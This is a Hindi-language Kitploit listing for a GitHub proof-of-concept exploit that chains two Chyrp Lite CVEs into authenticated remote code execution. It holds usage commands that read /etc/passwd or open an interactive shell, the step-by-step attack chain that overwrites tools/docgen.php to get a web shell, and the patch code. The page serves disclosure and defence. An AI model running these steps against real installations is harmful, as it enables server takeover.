Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
chyrp-lite-rce-poc — CVE-2026-53767 + CVE-2026-53768 - uploads_path ब्लॉकलिस्ट बाईपास और एक्सटेंशन सत्यापन की कमी के माध्यम से Chyrp Lite ≤ 2026.01 में प्रमाणीकृत RCE | Kitploit
उपकरण/GitHubGitHub/iltosec/chyrp-lite-rce-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणवेब सुरक्षालर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubiltosec/chyrp-lite-rce-poc

chyrp-lite-rce-poc

CVE-2026-53767 + CVE-2026-53768 - uploads_path ब्लॉकलिस्ट बाईपास और एक्सटेंशन सत्यापन की कमी के माध्यम से Chyrp Lite ≤ 2026.01 में प्रमाणीकृत RCE

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

chyrp-lite-rce-poc

CVE-2026-53767 + CVE-2026-53768 - Chyrp Lite ≤ 2026.01 ("Iriomote") में प्रमाणित RCE

श्रृंखलित हमला: uploads_path ब्लॉकलिस्ट बायपास (CVE-2026-53768) + admin_update_upload() में अनुपस्थित फ़ाइल एक्सटेंशन सत्यापन (CVE-2026-53767) → www-data के रूप में रिमोट कोड निष्पादन


अवलोकन

Chyrp Lite ≤ 2026.01 एक प्रमाणित रिमोट कोड निष्पादन श्रृंखला के प्रति संवेदनशील है, जिसका शोषण change_settings और edit_upload अनुमतियाँ रखने वाला कोई भी उपयोगकर्ता कर सकता है (डिफ़ॉल्ट: व्यवस्थापक)।

CVECVE-2026-53767 · CVE-2026-53768
CVSS9.1 गंभीर (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
प्रभावितxenocrat/chyrp-lite ≤ 2026.01
पैचकमिट 1489dc9
परामर्शGHSA-8h86-c24h-5jp3 · GHSA-r9w7-5h94-wq5x
रिपोर्टकर्ताiltosec

उपयोग

root@kitploit:~
python chyrp_rce_poc.py -h

usage: chyrp_rce_poc.py [-h] -u URL -U USERNAME -P PASSWORD [-c CMD] [-i]
                         [--config CONFIG] [--restore RESTORE]

डिफ़ॉल्ट recon रन

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:'   

एकल कमांड

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -c 'cat /etc/passwd'
छवि

इंटरैक्टिव शेल

root@kitploit:~
python chyrp_rce_poc.py -u http://127.0.0.1/chyrp -U admin -P 'fJ945@5:3s8v+X:' -i
छवि

हमला श्रृंखला

चरण 1 - प्रमाणीकरण

चरण 2 - uploads_path को tools/ पर पुनर्निर्देशित करें (ब्लॉकलिस्ट में नहीं)

छवि

छवि

चरण 3 - tools/docgen.php को अधिलेखित करें (प्रतिस्थापन पर कोई एक्सटेंशन जाँच नहीं)

छवि

छवि

चरण 4 - निष्पादित करें

http://127.0.0.1/chyrp/tools/docgen.php?cmd=id

छवि

CVE-2026-53768 - अपूर्ण uploads_path ब्लॉकलिस्ट

includes/controller/Admin.php uploads_path को एक हार्डकोडेड ब्लॉकलिस्ट के विरुद्ध सत्यापित करता है:

root@kitploit:~
admin | ajax | feathers | fonts | includes | modules | themes

tools/ निर्देशिका - जो Chyrp Lite के साथ आती है और इसमें निष्पादन योग्य .php फ़ाइलें (docgen.php, gettext.php, triggers.php) शामिल हैं - सूचीबद्ध नहीं है। uploads_path=tools सबमिट करने पर सत्यापन पास हो जाता है और इसे config.json.php में स्थायी रूप से सहेज लिया जाता है।

CVE-2026-53767 - admin_update_upload() में अनुपस्थित एक्सटेंशन सत्यापन

upload_tester() (includes/helpers.php) केवल PHP अपलोड त्रुटि कोड और फ़ाइल आकार की जाँच करता है - यह प्रतिस्थापन फ़ाइल पर कोई एक्सटेंशन सत्यापन नहीं करता है। लक्ष्य फ़ाइलनाम $_POST['file'] से लिया जाता है और वर्तमान uploads_path के सापेक्ष हल किया जाता है। चूँकि tools/docgen.php पहले से मौजूद है (is_file() जाँच को संतुष्ट करता है), इसे मनमानी सामग्री के साथ चुपचाप अधिलेखित कर दिया जाता है।


नोट: --config फ़्लैग CSRF टोकन गणना के लिए config.json.php की ओर इंगित करता है। यदि फ़ाइल स्थानीय रूप से पठनीय नहीं है, तो स्क्रिप्ट स्वचालित रूप से HTML प्रतिक्रिया से टोकन निकालने का सहारा लेती है।


आवश्यकताएँ

  • Python 3.x (केवल stdlib - कोई बाहरी निर्भरता नहीं)
  • लक्ष्य Chyrp Lite इंस्टेंस के लिए व्यवस्थापक क्रेडेंशियल

समाधान

ऐसे संस्करण में अपडेट करें जिसमें कमिट 1489dc9 या उसके बाद का परिवर्तन शामिल हो।

दो स्वतंत्र सुधार लागू किए गए:

सुधार 1 - uploads_path ब्लॉकलिस्ट में tools (और licenses) जोड़ें:

root@kitploit:~
// Before
"/^$qdir((admin|ajax|feathers|fonts|includes|modules|themes)$qdir|$)/"

// After
"/^$qdir((admin|ajax|feathers|fonts|includes|licenses|modules|themes|tools)$qdir|$)/"

सुधार 2 - admin_update_upload() में अपलोड की गई फ़ाइल के एक्सटेंशन को व्हाइटलिस्ट के विरुद्ध सत्यापित करें:

root@kitploit:~
$new_extension = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));
$whitelist = upload_filter_whitelist();
if (!in_array($new_extension, $whitelist))
    error(__("Error"), __("File type is not allowed."), code: 422);

संदर्भ

  • GHSA-8h86-c24h-5jp3 - अनुपस्थित एक्सटेंशन सत्यापन
  • GHSA-r9w7-5h94-wq5x - अपूर्ण ब्लॉकलिस्ट
  • सुधार कमिट 1489dc9
  • iltosec.com - पूर्ण विवरण

कानूनी

यह PoC केवल शैक्षिक और शोध प्रयोजनों के लिए जारी किया गया है। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है।

टूल डाउनलोड करें